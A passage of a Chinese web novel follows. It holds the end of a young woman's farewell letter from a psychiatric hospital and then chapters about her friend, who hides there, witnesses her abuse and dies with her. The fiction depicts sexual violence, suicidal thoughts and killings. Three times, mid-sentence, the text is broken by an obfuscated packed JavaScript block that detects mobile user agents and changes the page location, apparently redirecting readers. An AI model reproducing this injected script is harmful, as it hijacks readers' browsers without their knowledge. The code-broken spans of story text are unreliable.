与其这样,我真希望,除了霍盛源,谁都不知道这个秘密。但我又好希望,让霍盛源早点被警察抓走,再也不要糟蹋我了,我真的受够了。 被他折磨的那段时间,我觉得自己每一天,都像活在地狱。 哪怕是白天,我都觉得自己好像活在黑夜。 学习成绩越来越差,课上也忍不住说话,我能听到别人在背后议论我,说我是“神经病”。 我爸知道我成绩倒数,非但不安慰我,还骂我“猪脑子”“我怎么生了你这个没出息的东西!”。 其实不管别人怎么骂我,我都不太在意。但我受不了我爸那样说我,我会怀疑自己,真的是猪脑子吗?真的是没出息的东西吗? 之前我觉得我能来到这个世界,遇到爸爸、妈妈、外婆,特别特别好。 不过,那段时间,我开始想,我为什么要来到这个世界,我为什么要活着? 是不是我死掉会比较好? 可是,为什么该死的人是我? 我做错什么了吗?为什么我要去死? 我的世界,没有白天了。但是,只要迟哥在,我就觉得,我的天空又亮了,我又有白天了。 可惜,迟哥不能一直陪着我,你要去上大学,你以后可是要当知名建筑师的,你不能被我耽误。 我以为我来到精神病院,只要好好配合治疗,我的病就会好。但我发现,吃药、治疗,一点都不管用,我的病越来越严重了。 我遇到了比之前更可怕的事,要怎么才能告诉你呢?真的好难开口,太羞耻了! 我想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15153644|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉迟哥,这里的医生不是什么好人,这里的医院,也不是什么正规医院。如果迟哥有能力,希望能把这个信息告诉警察,让警察来调查。 就算我不在了,我也希望,坏人可以绳之以法,得到应有的惩罚。 迟哥,还记得,知道我跟你说的那句话吗。我说:“迟哥,你要陪我活到一百岁!”你说:“小嘉同学,你能活到一百岁吗?” 我说:“迟哥,我活不到一百岁,你愿意折寿,分点给我吗?”你说:“小嘉同学,你这个自私鬼!谁要折寿分给你!不过……如果你一定想要活到一百岁,那我就成全你吧。” 迟哥,现在不用你成全我了,我每天晚上都在跟老天请愿,希望可以折我的寿,让你活到一百岁。 既然我只能活到十九岁,那迟哥你,一定要活到一百岁哦! 我没有明天了,但我希望,迟哥你,会有很多很多很多个明天! 这个世界,我没什么好眷恋的,唯一放不下的就是你。 你不要逃了,你去自首吧。坐牢没什么可怕,可怕的是你一直在逃亡。逃亡的日子,一定很辛苦、很累吧。 迟哥,我有三个遗憾,一是,手腕上没有迟哥送的甜橙手链,二是,我没能再见迟哥一面。至于第三个遗憾,就看迟哥有没有本事揭发坏人了。 迟哥,有件事想要拜托你,等我死后,我希望,你来帮我处理后事。等我的身体烧成骨灰后,麻烦把我葬在那小山岗上,我想跟我的妈妈和我的外婆一起。 你不是老担心我一个人吗,等我跟她们一起了,我就不再是一个人了,我也有伴了。 这样想想,我也挺幸福的,是不是?我终于可以去见我的妈妈和我的外婆了。 只是,我要永远失去你了! 你……也要永远失去我了! 迟哥,你才二十岁,你会有很多很多的十年,你会好好毕业,你会成为知名建筑师。你不用对我有多挂念,你要去找一个你爱的也爱你的姑娘,你们要结婚生子,你们要永远幸福。 如果迟哥想我了,就去那小山岗看一看我,给我送一碗豆浆、一个红豆麻团,要记得做成我妈妈口味的哦!不过……做不了,也没关系,只要是迟哥送的,什么我都要。 我要走了,我终于可以逃出牢笼,不用再做破烂布娃娃了。 我要去做一只自由自在的鸟,飞去天空,甩掉生命的暗潮,迎接每天的朝阳。 累了,我就停在迟哥的肩头。迟哥,你一定会感受得到吧! 迟哥,一定不要为我哭泣,我不是去往痛苦之渊,而是去往自由之地。 我的生命虽然到站了,但我对你的思念,永不到站。 迟哥,好好照顾自己,我会永远想你! 如果我不在了,你一定一定不能忘了我,知道吗! 如果你忘了我,你就死定了! 我不会喝忘川水,所以,我不会忘记你! 再见了,迟哥,我会幻化成世间万物,一直留在你身边。 这辈子,谢谢你!谢谢你,把我当公主,教会我事事不认输! 这辈子,对不起!很抱歉,让你逃亡;很抱歉,成了你的遗物。 下辈子,再见吧。 下辈子,我们不做青梅竹马,要不要换个身份,比如…… 下辈子,你也要活得比我久,不做你的遗物,而要做你的礼物。 我会在坟墓里、在天上祝福你。 祝我的迟哥,快乐恒久,幸福弥新,万事如意。 你的青梅 小嘉同学 写于“善安”精神病院 2016年2月6日 驰路看着“比如”后面被划掉的字,看了好几遍,才辨出是歪歪扭扭却坚定有力的两个字: 恋人。 ——正文完—— 37. 迟来的太阳(一) 迟予辰从来没想过,自己有一天会喜欢上他的青梅小朋友——小嘉同学。 从什么时候开始喜欢的?他说不清。 每天跟艾嘉一起上学、放学,他已习以为常。 他以为会一直这样下去,但没料到他的小朋友长大了,怀揣少女心事了,她喜欢上了他的哥们霍盛源。 她从他那儿获取各种信息,她问得越多,他越心烦意乱,本来不想说,她却一个劲儿地问。 行吧,就都跟她说了吧,反正喜欢霍盛源的女生那么多,他一个都没看上。 艾嘉嘛,大概率也入不了他的眼。 * 自从艾嘉喜欢上了霍盛源,开始绕远路,早晚上下学都跟霍盛源一起,这让迟予辰很不爽,但他以为只是自己不习惯她陪自己了。 但时间久了,迟予辰发现不是不习惯,而是自己喜欢上了他的小嘉同学。 圣诞节前夜,迟予辰去艾嘉家里玩,看到了她放在桌上皱成一团的小纸团,她没在,他就一个一个地打开。 每张便笺纸上都写着对霍盛源的爱意。 “学长,我喜欢你!” “学长,可以做我的男朋友吗?” “学长,我想住进你的心里,没有邻居的那种,可以吗?”【注】 …… 迟予辰越看越气,把那些纸团揉得更皱,全扔到了垃圾桶里。 等艾嘉回来时,见桌上的小纸团没了,问他去哪儿了。 迟予辰气鼓鼓地说:“帮你扔了。” “你没偷看吧。” “谁稀罕!” “别碰我东西了,没事你回去吧。” “你就那么喜欢霍帅哥?” “怎么,不可以吗?” “随你!”迟予辰觉得自己再待下去,要被气炸。 他没久留,回去了,去厨房鼓捣他第二天要送给艾嘉的圣诞节礼物,他照着网上的课程学了两个星期,总算能做出个形状。 他拿着那块甜橙形状的糖果,狠狠地咬了一大口,咬到了上面的字母:CLJ。 迟予辰原本想好了,他要赶在艾嘉跟霍盛源告白之前,跟艾嘉告白。 不管成不成吧,他想试一试。 现在好了,她明天就要跟霍盛源告白了,他的告白晚了一步。 当晚,他熬到两点,才做完了一块他比较满意的甜橙形状的糖果。 小小的CLJ,是藏在他内心深处,不为人知的告白。 * 圣诞节,迟予辰看到艾嘉要送给霍盛源的礼物,心里特别不是滋味,提醒她“喜欢他,没好事”。 是因为他曾看到霍盛源跟温姗不清不楚,但他并不确定他们有没有在谈恋爱,也不好直接告诉艾嘉。 元旦节,迟予辰知道艾嘉最好的朋友千雪离开了,她一定很难过,他很想陪在她身边,但她让他滚。 他在滚之前,把那个城堡水晶球送给她了,他希望,他的小嘉同学可以一直住在粉色城堡里,一直快乐。 他的公主殿下,值得被宠爱,值得拥有幸福。 之后,他看到艾嘉上学、放学不再跟霍盛源一起。 果然,他的小嘉同学三分钟热度,喜欢一个人也不长久。 从那以后,他又可以跟他的小嘉同学一起上学、一起放学了。 可是,他发现,他的小嘉同学不开心,大概是失去了最好的朋友。 他想让她开心点,买了海棠花送她,把攒了六年的压岁钱都拿了出来,带她去蓝海湾看了一场蓝眼泪。 在海边,迟予辰想跟她告白,想了想,作罢,他还是不够勇敢。 彼时,他只送出了一条甜橙手链,他还有一条,买一送一的情侣款,放在他的另一只口袋。 * 八月底,迟予辰要去B大上大学了,他很舍不得爸妈,更舍不得他的小嘉同学。 那天,他的小嘉同学笑着的样子真好看。他怎么也没想到,等他国庆节回来,他的小嘉同学竟成了别人口中的神经病。 起初,他不信,慢慢地,他信了。 只是,迟予辰想不明白,为什么他的小嘉同学会变成那样? 直到那天,他尾随艾嘉来到了只亮着一盏灯的那栋房,看到霍盛源对她做的那种事。 他才恍然,为什么艾嘉变得喜怒无常,为什么她的身上有鞭痕,为什么她总是不快乐。 他真是恨透了霍盛源,他一直把他当成最好的哥们,他竟然对他的小嘉同学做出那种禽兽之事! 迟予辰恨不得杀了他!但他尚存的理智告诉自己,不行。 他拿了棒球棒狠狠地砸在霍盛源身上,这并不能解他心头之恨,他拿起一把剪刀,想剪掉霍盛源身上的罪恶之源。 迟予辰确实想这样做,但最终只是把剪刀扎进了他的大腿。 出事现场一片狼藉,鲜血满地,霍盛源睁着惊恐又愤怒的眼睛看他,恶狠狠地说:“迟予辰,你今天对我的伤害,我明天一定加倍奉还!” 迟予辰看到他腿上在不停流血,这样流下去会死人吧。 死就死吧,他活该! 迟予辰让艾嘉穿完衣服,准备带她离开。 刚想走出去,忽然停住,转头,看到在地上哀号的霍盛源,犹豫几秒,拨打了120。 * 迟予辰知道伤人犯法,所以他扔掉手机逃了。 他想躲得远远的,躲到警察找不到的地方。 他不想被抓住,不想坐牢。 他坐牢了,艾嘉该怎么办? 他乔装打扮一番,买了顶长至脖颈的头发,装了两撇八字胡,脸上画出焦炭般的黝黑。 他放心不下艾嘉,10月18日那天,下着暴雨,他冒险来到他家附近,见一直看不到下楼的艾嘉,本打算走了,终于看到了她。 艾嘉旁边是她爸爸,他们坐上了一辆出租车,艾嘉看起来不太开心。 他爸爸要把她带去哪里? 迟予辰打了一辆车跟了过去,看到他们上了一艘船,他用仅剩的一百九十八块钱乘了这艘船。 他跟得小心翼翼,他们没发现他。 当船靠岸,迟予辰看到有人来接他们,他尾随而去,看到他们进了“善安”精神病院。 迟予辰又惊又气,他没想到艾嘉的爸爸竟然不给艾嘉治疗,就直接把她关进了精神病院! 怎么会有这样的爸爸! 气愤归气愤,迟予辰什么都做不了,也许,警察正在追捕他。 他自身难保,他该怎么保护艾嘉? 迟予辰趁没人的时候溜进了医院,遇到了一个肥硕的阿姨,阿姨问他是谁,他说是来探望家属的。 阿姨立马揭穿他的谎言:“今天不是探视日,你到底是谁?” 迟予辰想逃跑,被阿姨一把抓住,小声跟她说:“我看你不像什么坏人,告诉阿姨实话,也许阿姨能帮你。” 他凭什么要相信只见了一面的陌生人?他什么都不想说,只想甩开这人的手,赶紧离开。 “小伙子,我看你像我去世的儿子,阿姨愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238382|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意帮你。” 迟予辰听得心头一动,他看得出阿姨的神色真挚,便简单跟阿姨说了此番来意,以及自己的危险处境。 这位阿姨告诉他,她姓赵,可以叫她“赵阿姨”,她把他带到了最后面一排房子的地下二层。 那是一个逼仄狭小的储物间,里面有一个货架,摆放着各种各样的杂物,还有个很小的折叠小床,有一盏摇摇欲坠的蒙了灰尘的灯,只有灯泡,没有灯罩。 环境极其恶劣,但总算有藏身之处。 迟予辰不知道自己哪来的好运,能遇到赵阿姨这样的大好人,对她千谢万谢。 * 从此,迟予辰开始了幽暗不见天日的生活,所有吃的,都是赵阿姨给他送来的。 走几步也有洗漱的地方,吃住倒不成问题。 但他从太阳下,走到了地底下,像蜗居在黑暗里的蚂蚁。 起初,格外不适应,他什么都做不了,只能蜷缩在那张小小的床上,望着黑暗发呆。 他舍不得全天开灯,怕多花电费,引起别人的注意。 赵阿姨已经帮他到这种地步,他不想再给她添麻烦。 他最开心的时刻,是赵阿姨来找他,能跟他说说话,说说她死去儿子的事。 他从赵阿姨那儿得知,艾嘉就住在这栋楼的一层,正门从右手边数,第八个窗户。 也得知了她的作息时间。 第二天晚上,迟予辰便踩点去她的窗前了,不过,是在窗户旁边看的,果然看到了她,她蹲在床的一角,蜷缩成一团,把脑袋埋在膝盖里,眼睛空洞地望着前方,她看起来很不开心。 她看起来,非常不喜欢这个地方。 他要做点什么? 隔天,迟予辰跟赵阿姨说先别给他送吃的了,他打算先出去一段时间,想回家拿点东西。 赵阿姨让他小心点,她看到电视里已经播了他逃跑的新闻,警方正在抓他。 赵阿姨给了他回去的路费,迟予辰很感谢赵阿姨,说这钱会还她。 赵阿姨握住他的手,拍了下他的手背,说:“以后,你就把我当你妈吧,儿子跟妈之间,不用说谢。” 迟予辰点了点头,认下了这位妈:“谢谢干妈。” * 迟予辰回家前,仍是格外小心,看到有俩人在他家楼下蹲点。 第二天,他们还在,他判定是便衣警察。 趁他们不在,趁爸妈不在,迟予辰快速回家,翻出一些重要的东西带上,其中有艾嘉送他的那条藏蓝色的围巾,还有跟她一样的甜橙手链。 可惜,“迟予辰的理想国”带不走了,无人照料,已经枯萎。他拿走了里面的两个小人和小狗。 这之后,迟予辰并没有马上去“善安”精神病院,他去找了个货运公司做搬运工。 不需要学历,不需要身份证,只需要出卖他的劳力,一天能赚八十块钱,包吃住。 他计划干一个月,赚两千四百块钱。 计划不如变化,是干了一个月,也赚了两千四百块,但他之前没干过这种活儿,天天背重物,他的脊椎出现了问题,疼得无法走路。 没法干活,货运公司撵他走。 迟予辰成了有家不能回的人,有学校不能去上的人,有钱也不敢去花的人。 他的钱,要留着去买点吃的、用的,还要留作路费,剩下的给赵阿姨。 他不能老麻烦赵阿姨。 别人给他的恩情,他要去还。 哪怕她是他的干妈,他是她的干儿子。 38. 迟来的太阳(二) 桥洞下面,住着流浪汉、傻子、疯子,还有一个假冒伪劣的流浪汉——迟予辰。 正值寒冬,晚上很冷,迟予辰从别人扔掉的垃圾桶旁捡来了破棉衣。 晚上,他蜷缩身体,缩在破棉衣里,有时会被冻醒,发现脚、腿、上身露在了外面。 脊椎差不多到月底才好,他赶在了元旦前一天来到了“善安”精神病院。 他又窝在了那个狭小逼仄的储藏室里,但这次跟之前不一样了,他带来了一个行李包。 里面装着他要用的东西,其中有艾嘉亲手给他织的围巾,还有他跟艾嘉在海边的合照,他把合照、“迟予辰的理想国”里的两个小人和小狗放在货架上,一抬头就能看到。 只要看到艾嘉,看到“迟予辰的理想国”,这个暗无天日的小小空间便有了生机和色彩。 那晚,迟予辰偷偷跑出去,在午夜十二点,给艾嘉点燃了三只仙女棒。两个普通的,一个心形的。 他想放三个心形的,但当时买的时候,就剩一个。 他躲在暗夜里,偷偷地望着窗前的艾嘉,看到她脸上的笑容,他的心里好像炸开了烟花。 要不是有人喊“谁在那儿?”他倒想多待一会儿,多看看他的小嘉同学。 他怀念每年跟她一起放仙女棒的元旦节了。 去年约好要一起去看花灯的,他准备了好些仙女棒,因为她好朋友千雪的事,未能成行。 今年,他们的人生轨迹,都有了不同走向。 不能再在一起放仙女棒了。 但能让她看到绽放的烟花,他便知足了。 唯一的遗憾,是不能亲口跟她说一句:“小嘉同学,新年快乐!” 他只能隔着铁丝网围住的窗户,偷偷地望着她,用口语说出这句话。 * 元旦那天,迟予辰偷偷地把城堡水晶球藏在了树丛里,期待着艾嘉能发现。 那晚,他看到艾嘉拿出了城堡水晶球,跟她的病友一起躲在被子里看,他才舒了口气。 从元旦开始,迟予辰每晚午夜十二点,都会在艾嘉病房外窄窄的窗台上放一只粉色的千纸鹤。 每晚,他都会偷偷地躲在墙后面看她,她有时会抱着城堡水晶球缩在床上发呆,有时候会拿着千纸鹤看来看去,有时会站在窗前。 每次她站在窗前时,是迟予辰离她最近的时刻,他会偷偷地把她看了又看,仿佛看多少遍都看不够。 他发现,她瘦了,比之前还瘦,面色苍白,嘴唇干裂,脸部凹进去,真的像一个病人了。 他的心一阵阵发疼。 他很懊悔,为什么没有早点发现霍盛源是禽兽,为什么没有早点发现她的症状。 如果早一点发现了,早点制止霍盛源,早点带她去治疗了,她是不是就不会被关进精神病院,也不会变成这样? 换做以前,他一旦发现她不好好吃饭了,或者瘦了,一定会带她去吃好吃的,而且要天天带她去,一定要把她养得白白胖胖的,回到那个还是娃娃脸的小嘉同学。 但他现在做不到了,他成了穴居动物,只能潜伏在黑暗里,无法走在阳光下。 迟予辰怀念走在阳光下的日子了。 * 迟予辰不是没想过,要不要自首,自首减刑的道理他懂。 但自首后,他的小嘉同学怎么办?她能照顾好自己吗? 她看起来状态很不好,听赵阿姨说,她有好多人格,有一个人格竟然幻想那个禽兽是她喜欢的人,他们竟然还谈恋爱了!有警察人格、邻家哥哥人格,还有一个是时而正常时而疯癫的主人格。 迟予辰想着,等她状态好些了,他再去自首。 * 在黑暗里待久了,迟予辰觉得自己在一点点被黑暗吞噬,快要失去生命力。 他不想一直当穴居动物,问赵阿姨有没有他能做的工作。 赵阿姨说,医院里正在招绿化工人,修剪草地和树枝,也顺带负责每个医生办公室的绿植日常养护。 这些好弄,他之前去霍盛源家里,在他家的花园里做过几次,对他来说,不是难事。 他去应聘了,以哑巴的身份。 因为赵阿姨跟他说,这里的人都很怪,不喜欢人在背后嚼舌根,嚼舌根的人被开除了不少。 索性,他当个哑巴。 …… 二月初,难得的好天气,迟予辰正修剪着树枝,忽然听到一阵打闹声,他赶过去时,看到了两个女生分别被人骑在身下。 他透过人缝看去,看到其中一个女生是他的小嘉同学。 她脸上有散落的头发,模样狼狈、神色倔强,透出极大的不爽。 那人正揪起她的头发,要往地上甩。 迟予辰连忙扔下修剪树枝的大剪刀,疾步上前,拽住了那个女病号的手。 他的小嘉同学,不能被任何人欺负! 他用力地拽走了骑在艾嘉身上的女病号,听到女病号骂艾嘉,每个字都那么难听。 骂她,就像在骂他。 可是,为什么艾嘉对那么敏感的词没有反应? 迟予辰被气到,狠狠地踢中女病号的左右膝盖弯。 他要她跪下来,让她知道,说错话,是要付出代价的,是要跟当事人道歉的。 等女病号散去,迟予辰目不转睛地望着他的小嘉同学。 那是他第一次,可以在阳光下,明目张胆地看她。 那种感觉格外奇妙,就好像看到了你放在匣子里珍藏了许久许久的传家宝,你想把它翻来覆去地多看几遍。 她的眼里好像有了些许光彩,她认出他了吗? 还是别让她认出来,认出来只会给她带来麻烦和负担。 迟予辰别开视线,刻意不再去看她。 但他没想到,艾嘉竟然会过来拍他的肩膀,还跟他说:“谢了,哥们!” 迟予辰的身体不由得颤了下,连同那颗心,也猛然一动。 这就是赵阿姨跟他说的,这是艾嘉的警察人格吧。 这个人格里,没有他。 迟予辰努力装作面无表情地看她一眼,转身走了。 转身后,他的心不可抑制地抽痛起来。 原来,那么熟悉那么亲近的一个人,不认识自己后,是这样的滋味。 像吃了世界上最苦最苦的苦瓜,渗进每个细胞,苦得他的心阵阵发疼。 * 当了绿化工人后,迟予辰的吃住有了很大改善,都可以在地上解决。 但有时他想念艾嘉了,晚上会去地下二层,去看看他跟艾嘉的合照和“迟予辰的理想国”。 迟予辰第一次听到女人惨烈的声音,是在1月底,他正躺在那张蜷缩起来才能睡的小的折叠床上,看着他跟艾嘉的合照。 那声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243252|161451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从哪儿传出来的? 迟予辰想去看,但理智告诉他,别多管闲事。 他忍住没去,后来他又听到过几次,每次都是不一样的女声,但都一样凄厉,像夜晚啼血的夜莺。 直到有天,迟予辰听到那个声音喊得过于凄厉,他实在睡不着,打算看看发生了什么。 他循着声音走去,声音来在地下一层。 地下一层跟地下二层的格局有些相似,有无数个小小的房间,房间的最下面有一个方形小窗口。 走到一半,幽闭的房间变成半敞开式房间。 迟予辰不敢再往前走了,再往前走就要暴露了。 他躲在暗处的墙角,望着那些半敞开式的房间。 眼前那一间间形形色色、奇奇怪怪的房间把他吓到,房间一看便是临时搭建的,上面都是敞开的,房顶吊着各种各样奇怪的东西。 凄厉的女声来自里侧的一个房间,她大声喊着什么,但听不清,全被痛苦淹没。 迟予辰一秒都不想待下去,这哪是帮人治病的地方,简直是炼狱! 他刚想走,听到传来脚步声,他急忙躲到身后的空屋里。 透过那扇方形小窗口往上看,迟予辰看到他们搬来的女生是艾嘉。 竟然是他的小嘉同学! 他们想对她对什么? 迟予辰有种不详预感,心突突突地打鼓。 他不走了,那帮人把艾嘉抬到了他躲的小屋的隔壁。 起初没有一点声音,渐渐听到他们在说“xx”“怀孕”,他听得心惊肉跳。 他恨得咬紧了牙,捏紧了拳头。 迟予辰大着胆子从小屋里走了出来,躲在墙后面,望着躺在一张窄窄小床上的艾嘉,她的身下垫着一张粗糙的老虎皮垫子。 周围有三个戴着面具的男人,正在对她做着什么。 她的身体一下一下地颤抖着,一定很疼吧。 迟予辰的拳头捏得更紧了,眼里似要喷出怒火。 他以为她离开了霍盛源那个禽兽,就能安全了,没想到,她陷入了另一个深渊。 他们从什么时候开始这样对她的? 传来鞭子的声音。 每一下都狠狠地抽在她那原本已是淤痕的身体上。 她终于出声了,声音跟他之前听过的那些凄惨的声音差不多,但又有些不同。 她的声音只是凄惨,但不尖利,是隐忍的、压抑的声音。 迟予辰想操起一个武器,把这些人狠狠打一顿,让他们别再糟蹋他的小嘉同学。 但理智告诉他,别这样做。 他不过是一名逃犯,一旦暴露身份,他就不可能还藏在这里了。 他恨自己无能,恨她被别人qin/fan,自己却无能为力。 只能眼睁睁地看着禽兽们对她进行一轮又一轮的jian踏。 他那么那么珍爱的沉睡公主,成了别人肆意jian踏的破布娃娃。 他的心里燃烧着熊熊怒火,在每根血管里燃烧着,几乎要燃爆。 但他只能愤恨又无助地看着,看着她隐忍着不发出一点声音,看着她紧紧地咬着下唇,咬得都渗出血珠。 那晚,迟予辰一夜未眠,满脑子都是艾嘉被人qin/fan的画面,他越想越气、越想越气。 他把那三个人的样子牢牢地记住了,戴面具的、不戴面具的。 39. 迟来的太阳(三) 翌日,迟予辰去了温医生、李医生的办公室,给他们的绿植浇水。 发现他们的办公室没有摄像头,想趁机在他们的水杯里放了无色无味的药。 他明明已经下定决心了,手却颤着,耳边仿佛响起艾嘉的声音: “迟哥,你在做什么呢?我们,要做个好人。一辈子都要做好人。” 手一抖,药洒在了桌上,迟予辰连忙收拾干净,回到了那个暗无天日的地下二层。 他将握紧的拳头重重地往墙上砸,砸了一下又一下,指关节疼了、冒血了,还在砸。 最后,身体像瘫软了似的,缓慢地、缓慢地蹲下身来。 少年挺直的脊背,此刻弯得像一把差点被折断的弓。 脑中情不自禁地闯入昨晚艾嘉被jian/ta的画面,肩膀不由得颤抖起来。 从轻微到剧烈,仿佛一朵花绽放的时间。 逼仄昏暗的小小空间里,响起隐忍克制的声音,混在喉间。 仿佛一场怎么也无法停歇的台风。 …… 晚上,迟予辰躺在他那张狭窄的折叠床上,如躺在布满针刺的刑具上。 他一刻都没闭眼,心脏跳得很慢、很慢。 像要停止所有的脉搏。 耳边时不时响起凄惨的女声,响一次他就条件反射般地立刻从床上弹起来,偷偷跑到地下一层。 跑了一次,跑了两次,跑了三次…… 他像不知疲倦的闹钟,循环往复地跑了一次又一次。 不过是,看一看那些凄惨的声音里有没有艾嘉。 迟予辰没有看到艾嘉,才松了口气。 但他的腿、他的身体,仿佛不再是他的。 走下地下二层的每一步,像走在棉花上。 * 除夕夜,迟予辰从行李包里翻出仙女棒,特意挑了“5”“2”“0”的。 新的一年,就用数字告诉他的小嘉同学,他爱她,比任何人都爱。 午夜十二点,他掐点在艾嘉病房外,陆续点燃了这三支仙女棒。 小小的焰火炸开,那么璀璨,那么耀眼。 好像,他们还是从前的那个迟哥和小嘉同学。 谁都干净,谁都纯真无暇。 迟予辰没想到,艾嘉会义无反顾地冲出来,她跑得那么快,几乎要追上他。 但他跑得更快,他不会让她追到。 他注定见不了光,他是活在地底下的人。 他听到她一遍遍大喊着“是你吗”的时候,他差点要停下来了。 他好想去看看她,好想抱抱她,跟她说:“春节好啊,小嘉同学。” 可他不能,他只能不停奔跑,跑到她再看不见的地方。 …… 那晚,迟予辰又躺在那张窄窄的折叠床上,把蒙尘的小吊灯开了一夜,望着他跟艾嘉的合照望了一夜。 他折了一只又一只千纸鹤,他要每天都送她一只,等送完一千只,说不定她就会得到幸福了! 每只千纸鹤里,都藏着小小的“CLJ”。 CLJ≠ChiLikeJia CLJ=ChiLoveJia CLJ不是迟予辰喜欢小嘉同学,而是迟予辰爱小嘉同学。 CLJ=ChiLoveJia=迟恋嘉。 他把最深的爱意,藏在一只只千纸鹤里。 * 新春那晚,迟予辰在地下二层,正在叠千纸鹤,忽然又听到了凄惨的女声,照例去地下一层。 这次,他的小嘉同学竟然在其中。 她身上的伤痕还没褪去,那些禽兽又在她身上添了新伤。 他们无情地践ta、rou/躏她的身体,每次的rou/躏,都像在他的心口狠狠地割了一刀。 这次,艾嘉受到的不只是普通的皮肉伤,那个戴着狼面具的男人把她的身体玩huai了,流了那么多那么多的血。 她的血好像快流光了,她是不是很疼?她会不会死? 每一滴血,都像火焰,在他心头熊熊燃烧着。 火光映照着他满是红血丝的眼眸。 他的眼中露出显而易见的怒火,胸腔里的愤怒猛烈翻涌。 迟予辰回到藏身之处,拿了一把剪刀。 他不要再让他们伤害他的小嘉同学! 他的小嘉同学,不能死! 他要亲手杀了他们! 他是被仇恨蒙蔽双眼的困兽,他失去了所有理智,失控地冲向那个罪魁祸首,把剪刀插进了他的咽喉。 迟予辰帮艾嘉迅速解开了手脚上的镣铐,他要带她离开这座人间炼狱。 要逃离这里,逃得远远的,逃到一个只有他俩的地方,谁都找不到他们。 但他遭来了对方的反击,棍棒一下一下砸在他头上、身上,他感觉头痛欲裂,身上的皮肉似乎都要裂开。 他听到艾嘉喊着“别打了,别打了!”,听到她呼喊着他的名字“迟哥,迟哥……” 为什么,她叫自己,还是那么悦耳动听? 他期待了很久的“迟哥”,他听到了,却没想到是在这样的场合。 迟予辰看到骨瘦如柴的艾嘉,义无反顾地拿起尖刀,狠狠地刺进了狐狸面具男的脖子。 她的脸上没有愤怒,没有波澜,像一潭死水,戳进的好像不是人的脖子,而是戳在棉花上。 迟予辰看到狗面具的男人,利落地从狼面具男人的咽喉上拔下剪刀,目眦欲裂地把艾嘉身上的羽绒服脱掉。 她就那么chi身站在那儿,像一株圣洁的栀子花。 可是,栀子花早已残破不堪,遍体伤痕,迟予辰看得心口一阵阵发疼。 他心中最纯洁的栀子花,被人一次次地jian/踏。 他来晚了,让她受苦了。 趴在地上的迟予辰想站起来,但他浑身像错位的拼图玩具。 每一处都仿佛碎裂了,脑袋疼得厉害,血止不住地往下流。 不完整的他,一次次想努力站起来,可不管哪处都无法使上一点力气。 他怎么也无法站起来了。 他眼睁睁地看着狗面具的男人将他插进狼面具男人咽喉的那把剪刀,狠狠地插进了她的后背,一下、两下、三下…… 迟予辰不知道那个禽兽插/了多少下,他只看见那些飞溅的血,在艾嘉苍白的皮肤上炸开。 像炸开的烟花,那么浓烈,又那么刺眼。 他看着原本站得挺直的艾嘉,轰然倒下。 像被人砍倒的松柏,再无法挺立了。 他的心仿佛被人捅了无数刀,比身上、脑袋上碎裂的每一块都要疼。 他怎么也没想到,自己拿来伤人的那把剪刀,最后会cha/进自己最爱的小嘉同学身上。 他看到艾嘉没掉一滴眼泪,连眉头都没皱一下。 她这是经受了多少苦难,才能承受这刀刀致命的重创? 她竟然笑了,就那么直直地望着他笑了,眼睛是那么好看,眼神是那么柔软,眼底依然透出纯洁的光。 她是他心中的圣女,圣女应该活在干净的世界。 迟予辰看着他的圣女,满是鲜血的手朝他伸来。 他拼尽全力、一下一下地朝她爬去。 他要去跟他的小嘉同学会和,他要碰一下她的手。 他看到他的小嘉同学,也朝他爬来,眼里都是笑。 她的笑容里,有一丝不易察觉的隐忍的痛。 迟予辰感觉自己快爬不动了,却还在拼命地挪动身子,但没有挪动一丝一毫。 他看到他的小嘉同学,还没放弃,还在奋力地朝他这边爬着,她好像也快没力气了。 他们的手就快要碰到一起了,就差一点,差一点就能碰到她的手指了。 可是……终究没碰上。 迟予辰努力地勾唇笑道:“小嘉同学,我爱你!” 他的声音那么小那么小,连他自己都听不见。 这是他最后的勇敢,可是,是谁也听不见的勇敢! 不被听见的告白,是他一生的遗憾。 他看到她左手腕上画的手链,黑色的,是甜橙手链吗? 他看到她脸上的笑容不见了,眼眶泛红,眼里都是泪水。 小嘉同学,不要哭。 掉一滴眼泪就是掉一颗水晶,你这是掉了多少水晶了,家财还是不要外露的好。 对不起,你的迟哥不能再帮你擦眼泪了! 他听到她说:“迟哥,对不起……” 他好想跟她说:“小嘉同学,我们谁跟谁,我们之间不用说‘对不起’。” 但他发现,眼睛快睁不开了,也无法再说出一个字。 他几乎丧失了所有的感官和意识。 天地瞬间陷入黑暗和沉寂。 他沉沉地闭上了眼睛。 …… 圣女要去天堂,好男孩也要去天堂。 好男孩先走一步了。 天堂人来人往,好男孩会穿越人海,找到他的圣女。 青春明暗交错,好男孩会做圣女的山河海阔,等她缓缓降落。 